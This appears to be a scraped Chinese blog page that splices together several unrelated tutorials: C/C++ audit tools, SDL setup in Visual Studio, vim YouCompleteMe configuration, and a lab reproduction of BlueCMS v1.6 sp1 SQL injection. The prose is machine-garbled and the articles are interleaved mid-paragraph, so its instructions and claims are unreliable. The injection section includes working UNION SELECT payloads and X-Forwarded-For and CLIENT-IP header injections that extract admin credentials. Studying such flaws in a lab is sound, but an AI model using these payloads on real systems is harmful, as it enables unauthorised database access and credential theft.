CPP代码审计,代码审计之SQL注入

By admin in 4858.com on 2019年3月25日

C/CPP代码审计<splint/flawfinder>

原创: 情书吖

4858.com 1

        
后天偶然接触到了二个代码审计产品,集团创立人是前Alibaba安全经理。结局的感想便是:代码审计工具那一个行当,果然不是那么自由立足的。

        尽管网上五花八门的代码审计工具排行,fortify的主流地位也是从未人狐疑的。但是在其实使用进度中,面对C/CPP时,商业级的fortify处理结果却并不是很理性。

        废话不多说,进入后天的宗旨,今日为大家介绍三款C/CPP代码审计工具的装置和动用,安装形式和平台就算很多,<作者不是懒吗/逃>,在此间为我们介绍最简便实用的装置方式和平台选拔,希望能够为C/CPP编制程序狗</???>大佬们提供安全支付方面包车型地铁帮带。

<splint>

        splint是一个GNU免费授权的
Lint程序,是1个动态检查C语言程序安全缺陷和编辑错误的次第。Splint会进展各个通常化检查,包涵未选择的变量,类型不均等,使用未定义变量,不或者推行的代码,忽略再次来到值,执行路径未归来,无限循环等不当。

        链接: 密码:xjyb

        安装:早先时期可依照须求提供任何平台安装方式,在此只介绍
windows平台下的安装并附着永久下载链接。

        1.率先解压。假使解压到C:/splint-3.1.1则不用调整环境变量。可执行文件在bin下。  

        如若放置任何途径下,须求修改环境变量。在用户变量中拉长  

        LARCH_PATH – <你安装splint的路径>/lib   

        LCLIMPORTDIR – <你安装splint的路径>/imports   

        include – 系统include文件所在的目录。

     
 (其实include这么些参数是从谷歌(谷歌)一个论坛下找的,说的很模糊,实验的结果正是include参数指向了VC++6.0下的include,,不知底这样做是小聪明仍然蠢,欢迎指正
 /逃)

        2.在用户变量Path中添加splint.exe所在的门道,方便以往调用。  

        3.使上述的改动生效:注销当前用户然后重新登录。

4858.com 2

 

4858.com 3

        附上成果和-help新闻,客户体验说下,该工具更倾向于检验语法错误,其实那么些效果编写翻译器也在做,不过角度分裂,splint的角度是安全支出角度。

        其余值得吐槽的时,假如你include了自定义头,splint会直接报错,当然那也是的的确确能够清楚的。

 

<flawfinder>

        flawfinder让自己先吐槽两句平复下内心,其实网上有各样安装包,当然官方也有,好端端的下载,解压,安装,,,然后您就会意识种种合法没涉及的正视难题</???像笔者这么蠢的还有仨,官方并未设想到吗???>

        flawfinder的优势是词法扫描和分析,内嵌了部分尾巴数据库,如缓冲区溢出、格式化串漏洞等,扫描快,依据代码中漏洞的高风险等级对漏洞进行私分,能够长足找到存在的题材,误报较高。

        在运转了逐条平台之后,windows/parrot/kali/centos。。。。。。最后,居然Ubuntu的官方源里有安装包。

        喏,就这一句话~

        sudo apt-get install flawfinder

        可是吐槽这么多,并不曾让在读的您少走弯路的情趣,只是提供了最偷懒的途径。作者也喜好走弯路,走旁人没走过,没走通的路,或者这一个进程才是大家实在享受的啊。

        咳咳,正题!

        4858.com 4

 

4858.com 5

        截不全就截不全吧,大家可从-help中看出它的大部效用了。

        那里说下客户体验:算的上伪商业级的代码审计工具了,换句话说,误报概率依然挺大的,不过结果举办了很好的分类计算,并拓展安全危害等级评估,命令行界面做到这种程度也是人心了。

        喏,工具介绍就到那边呀。如有不足,欢迎指正。

 

 

作者得以弱弱的丢个个人微信公众号么,

设若你们喜欢黑客,喜欢parrotsec,喜欢三次元,期待认识大家。

才不是怎么样萝莉控,只是欣赏的女孩纸碰巧是萝莉罢了,哼~

 4858.com 6

想让您的vim具有C/CPP代码补全作用?推荐你使用YouCompleteMe工具。配置即便稍显麻烦,但在自小编的一步步注明之下,您肯定能够做的万分好。

C语言没有图形库,就像编写C语言的主次就要直面11分黑黑的控制台窗口,这也是很多人对C语言提不起兴趣的来由,但大家得以选用第一方的图形库,比如说open
GL,directX,SDL等等,个中SDL相比较精致,并且是开源的,适合入门者学习。有了图形库以后大家就能够编写界面丰盛多彩的主次了,你会意识一片新的领域!
   SDLSimple DirectMedia Layer)是一个随机的跨平台的多媒体开发包,适用于
游戏、游戏SDK、演示软件、模拟器、MPEG播放器和其余使用软件。
 
 SDL图形库包涵多少个子系统:摄像、音频、事件、光驱、文件读写、游戏杆、时间、进度。最日常应用的是前七个,每四个子系统都有专门的安装包:
    SDL安装包:

Preface


那是一篇记录关于BlueCMSv1.6
sp1多个SQL注入的审计进度,原来的书文来自代码审计之SQL注入:BlueCMSv1.6
sp1 ,首要记录一下私家在参报考博士大学生文复现那多少个漏洞经过。

参考摄像:BlueCMS 1.6 SQL
注入漏洞


先是提一下多少个关键的工具以及其链接:

图像子系统安装包:

工具及条件

  • bluecms v2.1 sp1  
    •   链接: 密码:8v1c
  • seay审计系统  
    •   链接: 密码:rszt
  • 环境  
    • PHP: 5.4.45      
    • MYSQL: 5.5.53

  Vundle:它是二个vim的插件管理器,格外好用,要安装YouCompleteMe首先必要设置Vundle。

条件搭建

  关于环境搭建,简单说几句。能够选拔phpstudy那款集成化学工业具,能够很有利的施用和切换环境,安装好之后一贯将下载好的bluecms的源码放到安装的路子下即可,如:C:\phpStudy\WWW。

  也即把\bluecms_v1.6_sp1\uploads目录下的文书放到WC:\phpStudy\WWW目录下,因为自己的C:\phpStudy\WWW目录下还有其它文件,就径直把解压后的bluecms_v1.6_sp1放在C:\phpStudy\WWW目录下了。在本人那的路径是这么的:C:\phpStudy\WWW\bluecms_v1.6_sp1\uploads。

CPP代码审计,代码审计之SQL注入。  YouCompleteMe:代码补全工具。

音频子系统安装包:

安装

  访问当地: 能看到项目文件。

 4858.com 7

4858.com 8

  访问地址:
就会进来到安装界面。

4858.com 9

  环境检查和测试:

4858.com 10

  参数配置:

4858.com 11

  那里唯一必要专注的便是数据库的密码要对上。

  再访问:

4858.com 12

   关于环境搭建的一对就讲那几个呢。

  CMake, llvm, clang等局地安装YouCompleteMe信赖工具。

注入一

事实上呢,全数的装置步骤在Vundle,以及YouCompleteMe五个地点上边已经说的很透彻了,可是因为第①回安装,您可能没有太多种经营历,看到这般多供给设置的工具感到头大。上边我们一步一步来操作,笔者相信依照下边包车型大巴操作,您肯定能够胜利的成功代码补全作用。

那四个安装包都包蕴了这么两个目录:include和lib。在那之中include目录存放的头文件,就好像C语言自带的头文件一律,要运用SDL系统的函
数,必须带有相应的头文件,lib目录下存放的是一些静态库.lib)和动态库.dll),那些Curry存放的是函数的二进制代码,你在您的次第里富含了
头文件之后,还要加载相应的库,不然编写翻译器找不到对应的函数的代码会报错的,C语言自带的库暗许就添加到了您C语言程序里了,不用突显本人管,但SDL不是C语言自带的库,所以必须团结加上这几个库。
要抬高那么些库,有二种艺术,第1种是把头文件,库文件放到系统目录下,让编写翻译器能找的到就能够了;第壹种,自身建1个索引包蕴头文件、动态库、静态库,然后在编译器里安装工程属性就足以了。建议选取第两种方式。下边就那三种方法分别证实。

审计

  用Seay源代码审计系统审计一下看望,我们得以窥见有广大只怕的注入点,如首先个,在文件:/uploads/ad_js.php  

4858.com 13

  选中该或者的注入点,右键单击打开文件,就能直接固定到该条语句了,内容如下:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

  getone()是自定义的函数,用来查询数据库,代码如下:(可双击选中该函数,然后右键单击定位函数,发今后:/uploads/include/mysql.class.php文件中,双击直接可稳定到在文书中的地方)

  该函数的代码如下:

function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }  

  首假使插入到数据库查询语句中的$ad_id没有通过其余的过滤,由此造成了SQL注入。从代码中可以阅览:

4858.com 14

先是,您要保管你的vim版本号要当先7.3.584,您能够经过在终端输入:

首先种方法,首先将SDL-devel-1.2.14-VC8.zip解压后会有五个目录:

利用

vim --version

4858.com 15

先查下有多少列

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

4858.com 16

  查询1…6列和8…列会突显出错消息,而查询7列时页面是空荡荡的,此时翻开源码,如红框中所示,能够看来第8列会回显,因而大家得以组织第柒列的多寡来回显我们想要的始末。

  查询下数据库新闻:

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,@@basedir

  4858.com 17

 

  数据库名称是bluecms,路径如上所示。

来查阅您的vim的版本号。如若没有vim,您须求自个儿设置。

然后到VS二〇〇七的设置目录下找到三个誉为include的目录,一般vs2006默许的装置目录是c:\Program
Files\Microsoft Visual Studio 8\VC或D:\Program Files\Microsoft
Visual Studio
8\VC,尤其提醒vs必须安装到英文目录名下,不然SDL无法运用,SDL对中文扶助倒霉。vs2009/vs二〇一〇也一如既往。

领到数据

  利用元数据表爆出表名

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

4858.com 18

第二步,安装cmake

4858.com 19

爆字段

  查看下blue_admin表中有啥样字段:

  这里需求将表名转换为16进制:16进制到文本字符串的变换

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

4858.com 20

sudo apt-get install build-essential cmake

在vc下有3个include目录,在include目录下创建一个新目录,比如说SDL,将解压后的include目录下的文本拷贝到新建的SDL目录下。

赢得用户名密码

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

4858.com 21

4858.com,  是用MD5值,其值为admin:

4858.com 22

 第三步,安装 llvm 和 clang

D:\Program Files\Microsoft Visual Studio 8\VC

注入二

  到 www.llvm.org 下载相应版本的llvm和clang,因为自个儿用的是ubuntu 14.04
64bit的连串就此本身直接下载的pre-build
binary版本的而不须求下载源码再本身再也编写翻译了。省去了许多劳神。

将解压后的lib目录下后缀为lib的文本拷贝到安装目录下三个叫做lib目录下,将后缀为dll的文件拷贝到C:\WINDOWS\system32下。对SDL_image-devel-1.2.10-VC.zip和SDL_mixer-devel-1.2.11-VC.zip做同样的拍卖。

审计

  再查看Seay发现的质疑注入点,在文件/uploads/include/common.fun.php中:

4858.com 23

  $ip变量的值从环境变量中取得,具体代码如下:(可右键点击查占星应文件内容)

function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

  $ip的值只怕是从HTTP_CLIENT_IP或HTTP_X_FORWARDED_FO普拉多等变量中获取;

  全局搜索一下用到到那几个函数的地点共计有三处:

4858.com 24

  大家查阅一下先是个文本:(代码113行,那是一个顶住小说评论的代码文件)

4858.com 25

  我们能够看来,通过函数getip()获取到的$ip变量的值,直接插入到了SQL语句中,接着就执行了。由此能够见见,这里是存在SQL注入的。

  下载完结后,直接将下载后的压缩文件解压,并跻身其目录

其次各个措施,首先创设二个目录,假定名字为SDL,在目录下建七个文本夹:include、dll、lib,将下在下来的设置包解压,比如SDL-devel-1.2.14-VC8.zip解压后会有多个目录:

作品刊出

  从地方的页面(/uploads/comment.php)能够推论出,SQL注入出现在对小说进行业评比价的地点,因为前边在发布文章时出现点难点,现将消除的小trick分享给大家:

  首先,须要先挂号3个用户,登陆之后进入到个人资料,有个篇章分类,可是自身在创造分类的时候老是出现难点,如右所示:

4858.com 26

4858.com 27

  而且经过管理员登陆也不能够创造分类,甚是无奈,只好通过修改代码消除:

  大家找到发表作品的页面:
,将判断音讯分类的一些注释掉,那样就不会因为尚未分类的难题,而导致程序的实践进度被中止。

4858.com 28

 

  好,那现在我们创立一篇小说,随意填入写内容即可:(步骤:进入个人宗旨->本地资源消息->发布音讯)

  回到主页:

4858.com 29

  查看下我们刚发布的稿子,如下所示:

4858.com 30

tar zxvf clang+llvm-3.7.0-amd64-Ubuntu-14.04..tar.gz
cd clang+llvm-3.7.0-amd64-Ubuntu-14.04.

4858.com 31

利用 

  我们回放下那段SQL语句:(隔得有点远)

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
             VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
     $db->query($sql);

  能够看来,一共有8个参数,而insert语句能够一遍插入多条数据,只要们在构造$ip的始末时,闭合掉前边的一部分,使之成为完整的言语即可。

   其中 *.tar.gz就是您所下载的压缩文件。

将include目录下的头文件拷贝到SDL\include下,将lib目录下的后缀为.lib的文本拷贝到SDL\lib下,将lib下后缀为.dll的文书拷贝到SDL\dll下。对SDL_image-devel-1.2.10-VC.zip和SDL_mixer-devel-1.2.11-VC.zip做同样的处理。

X-Forwarded-For

  通过X-Forwarded-For构造如下:

X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

  在POST数据衡水部添加X-Forwarded-For字段,内容如上: 

4858.com 32

  通过翻看网页源代码的主意,大家得以阅览admin用户密码的hash值:(其值为admin)

4858.com 33

  运转命令:

做完这一个干活儿后,大家就能够在VC下树立1个控制台工程,选空工程,然后大家分别就率先种方法和第两种方法设置工程的属性。

CLIENT-IP

  通过CLIENT-IP构造如下:

CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1

  POST数据包:

4858.com 34

  能够看出admin密码的hash值直接呈现到了页面上:(时间紊乱了,请忽略)

4858.com 35

   到此,就像是此。(不明显的图纸可右键查看)

sudo cp -R * /usr/

4858.com 36

 将引得里的全体文件拷贝到相应的系统目录下,然后再配置一下软链接:

4858.com 37

sudo ln -sf /usr/bin/clang++ /etc/alternatives/c++

新建四个test.c文件。

   当中 “-sf”中 “s”代表了软链接,“f”即为force的意趣。

4858.com 38

运作:clang –version 要是你收看了它的版本号,就印证 llvm 和
clang配置好了。

在档次菜单里挑选属性。

第6步:安装Vundle,安装进度请参考
;P.S.
:假使你是率先次安装vim,只怕供给本人创设vim的布署文件,它是在 “~/ ”
目录下的的一个隐藏文件 .vim 前边的“小点”就证明那是三个潜藏的目录, 用 ls
-a才能查看,借使没有,请创设该目录。即:mkdir ~/.vim

4858.com 39

布局好Vundle ,
请打开主目录下的.vimrc文件,这些文件是依照事先设置vundle时的步调配置好的,请在call
vundle#begin() 和 call vundle#end()  在里边添加 Plugin
‘Valloric/YouCompleteMe’, 其它,把begin() 和 end()之间除了Plugin ‘VundleVim/Vundle.vim’ 和 Plugin
‘Valloric/YouCompleteMe’之外的别的PlugIn 都注释掉把,感觉没什么卵用。

在弹出的窗口的左侧的栏目里采纳链接器—输入,然后在左侧区域接纳附加看重,弹出窗口。

第四步:利用Vundle安装插件

4858.com 40

  卓殊不难,在极端中开辟vim, 输入” :PluginInstall  “,
等待Vundle安装达成。这说不定必要花费一段时间。当vim的底栏展现:Done!(注意不是Done
with error !!!) 就代表安装成功。

4858.com 41

第⑥步:编写翻译YouCompleteMe, 为了不保险出错,笔者用的是完全安装的格局。

在增大依赖窗口里如下图填写注重文件,然后点击分明按钮。

cd ~
mkdir ycm_build
cd ycm_build

4858.com 42

   因为本人要帮衬C/CPP的语义扶助,小编采用:

在右边栏选拔c/c++下的代码生成。在右侧窗口中做如下设置:

cmake -G "Unix Makefiles" -DUSE_SYSTEM_LIBCLANG=ON . ~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp

4858.com 43

  这里,小编选用采纳系统的libclang,因为大家也从官网下载了LLVM+Clang(该目录下有
bin, lib, include
等文件夹),大家也得以实施:cmake -G "Unix Makefiles" -DPATH_TO_LLVM_ROOT=~/ycm_temp/llvm_root_dir . ~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp 其中“~/ycm_temp/llvm_root_dir”就是大家解压过的文本的根目录

这么,大家就布局好了工程的性质,工程布署无论是第贰种形式依然第三种格局都要布局。

第七步:生成

上面在test.cpp 里输入测试代码:

make ycm_support_libs

4858.com 44

 到此结束,基本的配置工作就到位了,可是还有一些弱点:#include
<iostream>, #include <stdio> vector,
什么的都不能够补全,这是因为那个头文件的门道没有被找到,上面包车型地铁干活就是要让YouCompleteMe找到这一个头文件,而且,未来有怎样库文件,比如OpenCV,OPenGL什么的,都得以遵照这么些方法添加。

 1 #include <stdio.h>
 2
 3 #include <stdlib.h>
 4
 5 #include <SDL\SDL.h>
 6
 7 SDL_Surface *gpScreen;
 8
 9int main(int argc,char *argv[])
10
11 {
12
13if((SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO)==-1)) {
14
15 exit(-1);
16
17 }
18
19 gpScreen = SDL_SetVideoMode(600,600, 0,
20
21 SDL_HWSURFACE | SDL_HWPALETTE | SDL_DOUBLEBUF );
22
23if( NULL == gpScreen ) {
24
25 SDL_Quit();
26
27return -1;
28
29 }
30
31 SDL_Delay(3000);
32
33 SDL_FreeSurface(gpScreen);//退出程序前必须释放
34
35 SDL_Quit();//关闭SDL各个子系统
36
37 system("pause");
38
39return0;
40
41 }

  打开 ~/下的.vimrc文件,确定保障查看是不是有如此一条配置:

4858.com 45

let g:ycm_global_ycm_extra_conf = '~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp/ycm/.ycm_extra_conf.py'

专注必须含有头文件<SDL\SDL.h>,个中SDL是您在设置目录\include下建立的目录,vc全数的头文件都在include目录下,大家引用stdio.h等头文件都以从include下寻找的,
SDL.h在include下SDL目录下,所以引用它必须用#inlcude < SDL\SDL.h
>,再者主函数头必须那样写int main(int argc,char
*argv[]),不能够写成int main(void)。

 假使没有,请修改.ycm_extra_conf.py的路径是不利的。

假诺编写翻译通过,运营的时候会油可是生七个窗口:

  打开 ~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp/ycm/.ycm_extra_conf.py

4858.com 46

vim ~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp/ycm/.ycm_extra_conf.py

那么注解你sdl安装成功,能够编写制定游戏了。

 您能够在flags[ * ]数组的末尾添加你想要的门道,例如:
stdio.h等C语言的头文件包罗在/usr/include中,那么你必要加上那样一条

只假如第两种办法,打开vc的工具菜单-选项:

‘-isystem’,

4858.com 47

‘/usr/include’,

在接纳窗口里左手栏里选拔品种和缓解方案—vc++目录vs二〇一〇下无法配备,因为vs二零零六vc++目录下没有那几个东西)

留意,不要遗忘后边的“,”。

4858.com 48

内需CPP的补全,就供给充裕:

在“展现以下内容的目录”—包含文件,点击
4858.com 49

‘-isystem’,

4858.com 50

‘/usr/include/c++/4.7’,

点击 4858.com 51
,选拔你按第二种艺术建立的SDL目录下的include目录

亟待什么样,就添加什么样,so easy .

4858.com 52

一致的法门,选拔“库文件”

4858.com 53

点击 4858.com 54
,选拔你按第三种艺术建立的SDL目录下的lib目录

4858.com 55

动态库的路线能够如此丰富,右键笔者的微机—属性,选取高档。

4858.com 56

点击环境变量按钮。

4858.com 57

在系统变量下抉择path

4858.com 58

点编辑

4858.com 59

在变量值的最后边,添加1个分行西方文字状态),然后将您按第壹种艺术建立的SDL目录下的dll目录的不二法门写下,如下图。

4858.com 60

最终面自然要有三个\。

第二种方法布置实现后,也要按第3种办法陈设项目性质,添加依赖项。

干什么要用第三种艺术吧,因为第叁种艺术往系统目录下添加文件,只怕覆盖任何程序的文件,从而影响别的程序的施用,所以利用第三种办法,第二种办法不会影响别的程序。

迄今截至,SDL环境就配备完毕了,下三回将商讨不难的SDL起动。

正文出自 “学习之乐”
博客,请务必保留此出处

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图
Copyright @ 2010-2019 美高梅手机版4858 版权所有